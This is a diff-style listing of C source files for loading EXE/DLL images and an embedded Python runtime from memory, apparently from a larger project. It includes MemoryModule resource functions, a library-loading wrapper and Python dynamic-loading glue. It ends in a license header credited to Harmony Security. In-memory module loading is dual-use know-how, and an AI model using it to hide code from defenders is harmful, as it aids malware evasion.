DllEntryProc DllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint);
|
||||
(*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
|
||||
}
|
||||
|
||||
if (module->modules != NULL) {
|
||||
// free previously opened libraries
|
||||
int i;
|
||||
for (i=0; i<module->numModules; i++) {
|
||||
if (module->modules[i] != NULL) {
|
||||
module->freeLibrary(module->modules[i], module->userdata);
|
||||
}
|
||||
}
|
||||
|
||||
free(module->modules);
|
||||
}
|
||||
|
||||
if (module->codeBase != NULL) {
|
||||
// release memory of library
|
||||
VirtualFree(module->codeBase, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, module);
|
||||
}
|
||||
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE mod)
|
||||
{
|
||||
PMEMORYMODULE module = (PMEMORYMODULE)mod;
|
||||
|
||||
if (module == NULL || module->isDLL || module->exeEntry == NULL || !module->isRelocated) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return module->exeEntry();
|
||||
}
|
||||
|
||||
#define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
|
||||
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type)
|
||||
{
|
||||
return MemoryFindResourceEx(module, name, type, DEFAULT_LANGUAGE);
|
||||
}
|
||||
|
||||
static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry(
|
||||
void *root,
|
||||
PIMAGE_RESOURCE_DIRECTORY resources,
|
||||
LPCTSTR key)
|
||||
{
|
||||
PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (resources + 1);
|
||||
PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL;
|
||||
DWORD start;
|
||||
DWORD end;
|
||||
DWORD middle;
|
||||
|
||||
if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) {
|
||||
// special case: resource id given as string
|
||||
TCHAR *endpos = NULL;
|
||||
long int tmpkey = (WORD) _tcstol((TCHAR *) &key[1], &endpos, 10);
|
||||
if (tmpkey <= 0xffff && lstrlen(endpos) == 0) {
|
||||
key = MAKEINTRESOURCE(tmpkey);
|
||||
}
|
||||
}
|
||||
|
||||
// entries are stored as ordered list of named entries,
|
||||
// followed by an ordered list of id entries - we can do
|
||||
// a binary search to find faster...
|
||||
if (IS_INTRESOURCE(key)) {
|
||||
WORD check = (WORD) (uintptr_t) key;
|
||||
start = resources->NumberOfNamedEntries;
|
||||
end = start + resources->NumberOfIdEntries;
|
||||
|
||||
while (end > start) {
|
||||
WORD entryName;
|
||||
middle = (start + end) >> 1;
|
||||
entryName = (WORD) entries[middle].Name;
|
||||
if (check < entryName) {
|
||||
end = (end != middle ? middle : middle-1);
|
||||
} else if (check > entryName) {
|
||||
start = (start != middle ? middle : middle+1);
|
||||
} else {
|
||||
result = &entries[middle];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
LPCWSTR searchKey;
|
||||
size_t searchKeyLen = _tcslen(key);
|
||||
#if defined(UNICODE)
|
||||
searchKey = key;
|
||||
#else
|
||||
// Resource names are always stored using 16bit characters, need to
|
||||
// convert string we search for.
|
||||
#define MAX_LOCAL_KEY_LENGTH 2048
|
||||
// In most cases resource names are short, so optimize for that by
|
||||
// using a pre-allocated array.
|
||||
wchar_t _searchKeySpace[MAX_LOCAL_KEY_LENGTH+1];
|
||||
LPWSTR _searchKey;
|
||||
if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) {
|
||||
size_t _searchKeySize = (searchKeyLen + 1) * sizeof(wchar_t);
|
||||
_searchKey = (LPWSTR) malloc(_searchKeySize);
|
||||
if (_searchKey == NULL) {
|
||||
SetLastError(ERROR_OUTOFMEMORY);
|
||||
return NULL;
|
||||
}
|
||||
} else {
|
||||
_searchKey = &_searchKeySpace[0];
|
||||
}
|
||||
|
||||
mbstowcs(_searchKey, key, searchKeyLen);
|
||||
_searchKey[searchKeyLen] = 0;
|
||||
searchKey = _searchKey;
|
||||
#endif
|
||||
start = 0;
|
||||
end = resources->NumberOfNamedEntries;
|
||||
while (end > start) {
|
||||
int cmp;
|
||||
PIMAGE_RESOURCE_DIR_STRING_U resourceString;
|
||||
middle = (start + end) >> 1;
|
||||
resourceString = (PIMAGE_RESOURCE_DIR_STRING_U) (((char *) root) + (entries[middle].Name & 0x7FFFFFFF));
|
||||
cmp = wcsnicmp(searchKey, resourceString->NameString, resourceString->Length);
|
||||
if (cmp == 0) {
|
||||
// Handle partial match
|
||||
cmp = searchKeyLen - resourceString->Length;
|
||||
}
|
||||
if (cmp < 0) {
|
||||
end = (middle != end ? middle : middle-1);
|
||||
} else if (cmp > 0) {
|
||||
start = (middle != start ? middle : middle+1);
|
||||
} else {
|
||||
result = &entries[middle];
|
||||
break;
|
||||
}
|
||||
}
|
||||
#if !defined(UNICODE)
|
||||
if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) {
|
||||
free(_searchKey);
|
||||
}
|
||||
#undef MAX_LOCAL_KEY_LENGTH
|
||||
#endif
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type, WORD language)
|
||||
{
|
||||
unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase;
|
||||
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE) module, IMAGE_DIRECTORY_ENTRY_RESOURCE);
|
||||
PIMAGE_RESOURCE_DIRECTORY rootResources;
|
||||
PIMAGE_RESOURCE_DIRECTORY nameResources;
|
||||
PIMAGE_RESOURCE_DIRECTORY typeResources;
|
||||
PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType;
|
||||
PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName;
|
||||
PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage;
|
||||
if (directory->Size == 0) {
|
||||
// no resource table found
|
||||
SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (language == DEFAULT_LANGUAGE) {
|
||||
// use language from current thread
|
||||
language = LANGIDFROMLCID(GetThreadLocale());
|
||||
}
|
||||
|
||||
// resources are stored as three-level tree
|
||||
// - first node is the type
|
||||
// - second node is the name
|
||||
// - third node is the language
|
||||
rootResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress);
|
||||
foundType = _MemorySearchResourceEntry(rootResources, rootResources, type);
|
||||
if (foundType == NULL) {
|
||||
SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
typeResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress + (foundType->OffsetToData & 0x7fffffff));
|
||||
foundName = _MemorySearchResourceEntry(rootResources, typeResources, name);
|
||||
if (foundName == NULL) {
|
||||
SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
nameResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress + (foundName->OffsetToData & 0x7fffffff));
|
||||
foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, (LPCTSTR) (uintptr_t) language);
|
||||
if (foundLanguage == NULL) {
|
||||
// requested language not found, use first available
|
||||
if (nameResources->NumberOfIdEntries == 0) {
|
||||
SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (nameResources + 1);
|
||||
}
|
||||
|
||||
return (codeBase + directory->VirtualAddress + (foundLanguage->OffsetToData & 0x7fffffff));
|
||||
}
|
||||
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource)
|
||||
{
|
||||
PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource;
|
||||
if (entry == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return entry->Size;
|
||||
}
|
||||
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource)
|
||||
{
|
||||
unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase;
|
||||
PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource;
|
||||
if (entry == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return codeBase + entry->OffsetToData;
|
||||
}
|
||||
|
||||
int
|
||||
MemoryLoadString(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize)
|
||||
{
|
||||
return MemoryLoadStringEx(module, id, buffer, maxsize, DEFAULT_LANGUAGE);
|
||||
}
|
||||
|
||||
int
|
||||
MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize, WORD language)
|
||||
{
|
||||
HMEMORYRSRC resource;
|
||||
PIMAGE_RESOURCE_DIR_STRING_U data;
|
||||
DWORD size;
|
||||
if (maxsize == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
resource = MemoryFindResourceEx(module, MAKEINTRESOURCE((id >> 4) + 1), RT_STRING, language);
|
||||
if (resource == NULL) {
|
||||
buffer[0] = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
data = (PIMAGE_RESOURCE_DIR_STRING_U) MemoryLoadResource(module, resource);
|
||||
id = id & 0x0f;
|
||||
while (id--) {
|
||||
data = (PIMAGE_RESOURCE_DIR_STRING_U) (((char *) data) + (data->Length + 1) * sizeof(WCHAR));
|
||||
}
|
||||
if (data->Length == 0) {
|
||||
SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND);
|
||||
buffer[0] = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
size = data->Length;
|
||||
if (size >= (DWORD) maxsize) {
|
||||
size = maxsize;
|
||||
} else {
|
||||
buffer[size] = 0;
|
||||
}
|
||||
#if defined(UNICODE)
|
||||
wcsncpy(buffer, data->NameString, size);
|
||||
#else
|
||||
wcstombs(buffer, data->NameString, size);
|
||||
#endif
|
||||
return size;
|
||||
}
|
|
@ -0,0 +1,123 @@
|
|||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.h
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef __MEMORY_MODULE_HEADER
|
||||
#define __MEMORY_MODULE_HEADER
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef void *HMEMORYMODULE;
|
||||
|
||||
typedef void *HMEMORYRSRC;
|
||||
|
||||
typedef void *HCUSTOMMODULE;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location.
|
||||
*
|
||||
* All dependencies are resolved using default LoadLibrary/GetProcAddress
|
||||
* calls through the Windows API.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location using custom dependency resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
* ordinal value.
|
||||
*/
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
||||
|
||||
/**
|
||||
* Free previously loaded EXE/DLL.
|
||||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Execute entry point (EXE only). The entry point can only be executed
|
||||
* if the EXE has been loaded to the correct base address or it could
|
||||
* be relocated (i.e. relocation information have not been stripped by
|
||||
* the linker).
|
||||
*
|
||||
* Important: calling this function will not return, i.e. once the loaded
|
||||
* EXE finished running, the process will terminate.
|
||||
*
|
||||
* Returns a negative value if the entry point could not be executed.
|
||||
*/
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type and name.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type, name and language.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
|
||||
|
||||
/**
|
||||
* Get the size of the resource in bytes.
|
||||
*/
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Get a pointer to the contents of the resource.
|
||||
*/
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Load a string resource.
|
||||
*/
|
||||
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
|
||||
|
||||
/**
|
||||
* Load a string resource with a given language.
|
||||
*/
|
||||
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_MODULE_HEADER
|
|
@ -0,0 +1,232 @@
|
|||
#ifdef STANDALONE
|
||||
# include <Python.h>
|
||||
# include "Python-version.h"
|
||||
#else
|
||||
# include "Python-dynload.h"
|
||||
# include <stdio.h>
|
||||
#endif
|
||||
#include <windows.h>
|
||||
|
||||
#include "MemoryModule.h"
|
||||
#include "MyLoadLibrary.h"
|
||||
|
||||
//#define VERBOSE /* enable to print debug output */
|
||||
|
||||
/*
|
||||
|
||||
Windows API:
|
||||
============
|
||||
|
||||
HMODULE LoadLibraryA(LPCSTR)
|
||||
HMODULE GetModuleHandleA(LPCSTR)
|
||||
BOOL FreeLibrary(HMODULE)
|
||||
FARPROC GetProcAddress(HMODULE, LPCSTR)
|
||||
|
||||
|
||||
MemoryModule API:
|
||||
=================
|
||||
|
||||
HMEMORYMODULE MemoryLoadLibrary(void *)
|
||||
void MemoryFreeLibrary(HMEMORYMODULE)
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR)
|
||||
|
||||
HMEMORYMODULE MemoryLoadLibrayEx(void *,
|
||||
load_func, getproc_func, free_func, userdata)
|
||||
|
||||
(there are also some resource functions which are not used here...)
|
||||
|
||||
General API in this file:
|
||||
=========================
|
||||
|
||||
HMODULE MyLoadLibrary(LPCSTR, void *, userdata)
|
||||
HMODULE MyGetModuleHandle(LPCSTR)
|
||||
BOOL MyFreeLibrary(HMODULE)
|
||||
FARPROC MyGetProcAddress(HMODULE, LPCSTR)
|
||||
|
||||
*/
|
||||
|
||||
/****************************************************************
|
||||
* A linked list of loaded MemoryModules.
|
||||
*/
|
||||
typedef struct tagLIST {
|
||||
HCUSTOMMODULE module;
|
||||
LPCSTR name;
|
||||
struct tagLIST *next;
|
||||
struct tagLIST *prev;
|
||||
int refcount;
|
||||
} LIST;
|
||||
|
||||
static LIST *libraries;
|
||||
|
||||
int level;
|
||||
|
||||
static int dprintf(char *fmt, ...)
|
||||
{
|
||||
#ifdef VERBOSE
|
||||
va_list marker;
|
||||
int i;
|
||||
|
||||
va_start(marker, fmt);
|
||||
for (i = 0; i < level; ++i) {
|
||||
putchar(' ');
|
||||
putchar(' ');
|
||||
}
|
||||
return vfprintf(stderr, fmt, marker) + 2*level;
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
#define PUSH() level++
|
||||
#define POP() level--
|
||||
|
||||
/****************************************************************
|
||||
* Search for a loaded MemoryModule in the linked list, either by name
|
||||
* or by module handle.
|
||||
*/
|
||||
static LIST *_FindMemoryModule(LPCSTR name, HMODULE module)
|
||||
{
|
||||
LIST *lib = libraries;
|
||||
while (lib) {
|
||||
if (name && 0 == _stricmp(name, lib->name)) {
|
||||
dprintf("_FindMemoryModule(%s, %p) -> %s[%d]\n", name, module, lib->name, lib->refcount);
|
||||
return lib;
|
||||
} else if (module == lib->module) {
|
||||
dprintf("_FindMemoryModule(%s, %p) -> %s[%d]\n", name, module, lib->name, lib->refcount);
|
||||
return lib;
|
||||
} else {
|
||||
lib = lib->next;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/****************************************************************
|
||||
* Insert a MemoryModule into the linked list of loaded modules
|
||||
*/
|
||||
static LIST *_AddMemoryModule(LPCSTR name, HCUSTOMMODULE module)
|
||||
{
|
||||
LIST *entry = (LIST *)malloc(sizeof(LIST));
|
||||
entry->name = _strdup(name);
|
||||
entry->module = module;
|
||||
entry->next = libraries;
|
||||
entry->prev = NULL;
|
||||
entry->refcount = 1;
|
||||
libraries = entry;
|
||||
dprintf("_AddMemoryModule(%s, %p) -> %p[%d]\n",
|
||||
name, module, entry, entry->refcount);
|
||||
return entry;
|
||||
}
|
||||
|
||||
/****************************************************************
|
||||
* Helper functions for MemoryLoadLibraryEx
|
||||
*/
|
||||
static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata)
|
||||
{
|
||||
return MyGetProcAddress(module, name);
|
||||
}
|
||||
|
||||
static void _FreeLibrary(HCUSTOMMODULE module, void *userdata)
|
||||
{
|
||||
MyFreeLibrary(module);
|
||||
}
|
||||
|
||||
static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata)
|
||||
{
|
||||
HCUSTOMMODULE result;
|
||||
LIST *lib;
|
||||
dprintf("_LoadLibrary(%s, %p)\n", filename, userdata);
|
||||
PUSH();
|
||||
lib = _FindMemoryModule(filename, NULL);
|
||||
if (lib) {
|
||||
lib->refcount += 1;
|
||||
POP();
|
||||
dprintf("_LoadLibrary(%s, %p) -> %s[%d]\n\n",
|
||||
filename, userdata, lib->name, lib->refcount);
|
||||
return lib->module;
|
||||
}
|
||||
if (userdata) {
|
||||
PyObject *findproc = (PyObject *)userdata;
|
||||
PyObject *res = PyObject_CallFunction(findproc, "s", filename);
|
||||
if (res && PyString_AsString(res)) {
|
||||
result = MemoryLoadLibraryEx(PyString_AsString(res),
|
||||
_LoadLibrary, _GetProcAddress, _FreeLibrary,
|
||||
userdata);
|
||||
Py_DECREF(res);
|
||||
if (result) {
|
||||
lib = _AddMemoryModule(filename, result);
|
||||
POP();
|
||||
dprintf("_LoadLibrary(%s, %p) -> %s[%d]\n\n",
|
||||
filename, userdata, lib->name, lib->refcount);
|
||||
return lib->module;
|
||||
} else {
|
||||
dprintf("_LoadLibrary(%s, %p) failed with error %d\n",
|
||||
filename, userdata, GetLastError());
|
||||
}
|
||||
} else {
|
||||
PyErr_Clear();
|
||||
}
|
||||
}
|
||||
result = (HCUSTOMMODULE)LoadLibraryA(filename);
|
||||
POP();
|
||||
dprintf("LoadLibraryA(%s) -> %p\n\n", filename, result);
|
||||
return result;
|
||||
}
|
||||
|
||||
/****************************************************************
|
||||
* Public functions
|
||||
*/
|
||||
HMODULE MyGetModuleHandle(LPCSTR name)
|
||||
{
|
||||
LIST *lib;
|
||||
lib = _FindMemoryModule(name, NULL);
|
||||
if (lib)
|
||||
return lib->module;
|
||||
return GetModuleHandle(name);
|
||||
}
|
||||
|
||||
HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *userdata)
|
||||
{
|
||||
if (userdata) {
|
||||
HCUSTOMMODULE mod = _LoadLibrary(name, userdata);
|
||||
if (mod)
|
||||
return mod;
|
||||
} else if (bytes) {
|
||||
HCUSTOMMODULE mod = MemoryLoadLibraryEx(bytes,
|
||||
_LoadLibrary,
|
||||
_GetProcAddress,
|
||||
_FreeLibrary,
|
||||
userdata);
|
||||
if (mod) {
|
||||
LIST *lib = _AddMemoryModule(name, mod);
|
||||
return lib->module;
|
||||
}
|
||||
}
|
||||
return LoadLibrary(name);
|
||||
}
|
||||
|
||||
BOOL MyFreeLibrary(HMODULE module)
|
||||
{
|
||||
LIST *lib = _FindMemoryModule(NULL, module);
|
||||
if (lib) {
|
||||
if (--lib->refcount == 0)
|
||||
MemoryFreeLibrary(module);
|
||||
return TRUE;
|
||||
} else
|
||||
return FreeLibrary(module);
|
||||
}
|
||||
|
||||
FARPROC MyGetProcAddress(HMODULE module, LPCSTR procname)
|
||||
{
|
||||
FARPROC proc;
|
||||
LIST *lib = _FindMemoryModule(NULL, module);
|
||||
if (lib) {
|
||||
dprintf("MyGetProcAddress(%p, %p(%s))\n", module, procname, HIWORD(procname) ? procname : "");
|
||||
PUSH();
|
||||
proc = MemoryGetProcAddress(lib->module, procname);
|
||||
POP();
|
||||
dprintf("MyGetProcAddress(%p, %p(%s)) -> %p\n", module, procname, HIWORD(procname) ? procname : "", proc);
|
||||
return proc;
|
||||
} else
|
||||
return GetProcAddress(module, procname);
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
#ifndef GENERALLOADLIBRARY_H
|
||||
#define GENERALLOADLIBRARY_H
|
||||
|
||||
HMODULE MyLoadLibrary(LPCSTR, void *, void *);
|
||||
|
||||
HMODULE MyGetModuleHandle(LPCSTR);
|
||||
|
||||
BOOL MyFreeLibrary(HMODULE);
|
||||
|
||||
FARPROC MyGetProcAddress(HMODULE, LPCSTR);
|
||||
|
||||
|
||||
#endif
|
|
@ -0,0 +1,97 @@
|
|||
/* **************** Python-dynload.c **************** */
|
||||
#include "Python-dynload.h"
|
||||
#include <windows.h>
|
||||
#include "MyLoadLibrary.h"
|
||||
#include "MemoryModule.h"
|
||||
#include "actctx.h"
|
||||
#include <stdio.h>
|
||||
|
||||
struct IMPORT imports[] = {
|
||||
#include "import-tab.c"
|
||||
{ NULL, NULL }, /* sentinel */
|
||||
};
|
||||
|
||||
void Py_XDECREF(PyObject *ob)
|
||||
{
|
||||
static PyObject *tup;
|
||||
if (tup == NULL)
|
||||
tup = PyTuple_New(1);
|
||||
/* Let the tuple take the refcount */
|
||||
PyTuple_SetItem(tup, 0, ob);
|
||||
/* and overwrite it */
|
||||
PyTuple_SetItem(tup, 0, PyInt_FromLong(0));
|
||||
}
|
||||
|
||||
void Py_XINCREF(PyObject *ob)
|
||||
{
|
||||
if (ob)
|
||||
Py_BuildValue("O", ob);
|
||||
}
|
||||
|
||||
int _load_python_FromFile(char *dllname)
|
||||
{
|
||||
int i;
|
||||
struct IMPORT *p = imports;
|
||||
HMODULE hmod;
|
||||
|
||||
// In some cases (eg, ISAPI filters), Python may already be
|
||||
// in our process. If so, we don't want it to try and
|
||||
// load a new one! (Actually, we probably should not even attempt
|
||||
// to load an 'embedded' Python should GetModuleHandle work - but
|
||||
// that is less clear than this straight-forward case)
|
||||
// Get the basename of the DLL.
|
||||
char *dllbase = dllname + strlen(dllname);
|
||||
while (dllbase != dllname && *dllbase != '\\')
|
||||
dllbase--;
|
||||
if (*dllbase=='\\')
|
||||
++dllbase;
|
||||
hmod = GetModuleHandle(dllbase);
|
||||
if (hmod == NULL)
|
||||
hmod = LoadLibrary(dllname);
|
||||
if (hmod == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (i = 0; p->name; ++i, ++p) {
|
||||
p->proc = (void (*)())GetProcAddress(hmod, p->name);
|
||||
if (p->proc == NULL) {
|
||||
OutputDebugString("undef symbol");
|
||||
fprintf(stderr, "undefined symbol %s -> exit(-1)\n", p->name);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int _load_python(char *dllname, char *bytes)
|
||||
{
|
||||
int i;
|
||||
struct IMPORT *p = imports;
|
||||
HMODULE hmod;
|
||||
ULONG_PTR cookie = 0;
|
||||
if (!bytes)
|
||||
return _load_python_FromFile(dllname);
|
||||
|
||||
|
||||
cookie = _My_ActivateActCtx();//try some windows manifest magic...
|
||||
//hmod = MemoryLoadLibrary(bytes);
|
||||
hmod = MyLoadLibrary(dllname, bytes, NULL);
|
||||
_My_DeactivateActCtx(cookie);
|
||||
if (hmod == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (i = 0; p->name; ++i, ++p) {
|
||||
//p->proc = (void (*)())MemoryGetProcAddress(hmod, p->name);
|
||||
p->proc = (void (*)())MyGetProcAddress(hmod, p->name);
|
||||
if (p->proc == NULL) {
|
||||
OutputDebugString("undef symbol");
|
||||
fprintf(stderr, "undefined symbol %s -> exit(-1)\n", p->name);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
/* **************** Python-dynload.h **************** */
|
||||
#include "Python-version.h"
|
||||
|
||||
typedef void *PyObject;
|
||||
typedef void *PyCodeObject;
|
||||
|
||||
typedef PyObject *(*PyCFunction)(PyObject *, PyObject *);
|
||||
|
||||
typedef
|
||||
enum {PyGILState_LOCKED, PyGILState_UNLOCKED}
|
||||
PyGILState_STATE;
|
||||
typedef struct {
|
||||
char *ml_name;
|
||||
PyCFunction ml_meth;
|
||||
int ml_flags;
|
||||
char *ml_doc;
|
||||
} PyMethodDef;
|
||||
|
||||
struct IMPORT {
|
||||
char *name;
|
||||
void (*proc)();
|
||||
};
|
||||
extern int _load_python(char *dllname, char *dllbytes);
|
||||
extern struct IMPORT imports[];
|
||||
|
||||
#include "import-tab.h"
|
||||
|
||||
extern void Py_XINCREF(PyObject *);
|
||||
#define snprintf _snprintf
|
||||
#define Py_DECREF(x) Py_XDECREF(x)
|
||||
#define Py_INCREF(x) Py_XINCREF(x)
|
||||
|
||||
extern void Py_XDECREF(PyObject *ob);
|
||||
|
||||
#define METH_OLDARGS 0x0000
|
||||
#define METH_VARARGS 0x0001
|
||||
#define METH_KEYWORDS 0x0002
|
||||
/* METH_NOARGS and METH_O must not be combined with the flags above. */
|
||||
#define METH_NOARGS 0x0004
|
||||
#define METH_O 0x0008
|
||||
|
||||
/* METH_CLASS and METH_STATIC are a little different; these control
|
||||
the construction of methods for a class. These cannot be used for
|
||||
functions in modules. */
|
||||
#define METH_CLASS 0x0010
|
||||
#define METH_STATIC 0x0020
|
||||
|
||||
#define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL)
|
||||
|
||||
#define PyInt_Check(op) PyObject_IsInstance(op, &PyInt_Type) /* ??? */
|
||||
#define Py_None (&_Py_NoneStruct)
|
||||
|
||||
#define DL_EXPORT(x) x
|
||||
|
||||
#define Py_InitModule3(name, methods, doc) \
|
||||
Py_InitModule4(name, methods, doc, (PyObject *)NULL, \
|
||||
PYTHON_API_VERSION)
|
|
@ -0,0 +1,15 @@
|
|||
#include <patchlevel.h>
|
||||
#if (PY_VERSION_HEX < 0x02050000)
|
||||
# define PYTHON_API_VERSION 1012
|
||||
typedef int Py_ssize_t;
|
||||
#else
|
||||
# define PYTHON_API_VERSION 1013
|
||||
/* The check for _WIN64 must come first, because on win64 both _WIN64 and
|
||||
* _WIN32 are defined!
|
||||
*/
|
||||
# if defined (_WIN64)
|
||||
typedef __int64 Py_ssize_t;
|
||||
# elif defined (_WIN32)
|
||||
typedef int Py_ssize_t;
|
||||
# endif
|
||||
#endif
|
|
@ -0,0 +1,52 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
